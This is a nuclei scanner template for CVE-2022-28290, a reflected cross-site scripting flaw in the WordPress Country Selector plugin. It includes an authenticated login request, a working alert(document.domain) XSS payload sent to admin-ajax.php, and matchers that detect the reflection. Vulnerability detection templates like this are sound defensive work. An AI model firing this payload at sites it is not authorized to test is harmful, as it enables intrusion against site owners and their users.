nuclei-templates/http/cves/2022/CVE-2022-28290.yaml

64 lines
2.5 KiB
YAML

id: CVE-2022-28290
info:
name: WordPress Country Selector <1.6.6 - Cross-Site Scripting
author: Akincibor
severity: medium
description: |
WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Update WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
- https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-28290
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-28290
cwe-id: CWE-79
epss-score: 0.00088
epss-percentile: 0.36894
cpe: cpe:2.3:a:welaunch:wordpress_country_selector:1.6.5:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: welaunch
product: wordpress_country_selector
framework: wordpress
tags: wordpress-country-selector,wpscan,cve,cve2022,wp,wordpress,wp-plugin,xss,welaunch
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US
skip-variables-check: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=x onerror=alert(document.domain)>'
- 'country_selector_'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100a152d37fc0cc59837b859f9997db365100d8a9b9c4a8f772a9309b2e123f12790220193c5d7ee23ae9dbe021aeef8998d6de0669b23aad5a97e3f29c8120874ada60:922c64590222798bb761d5b6d8e72950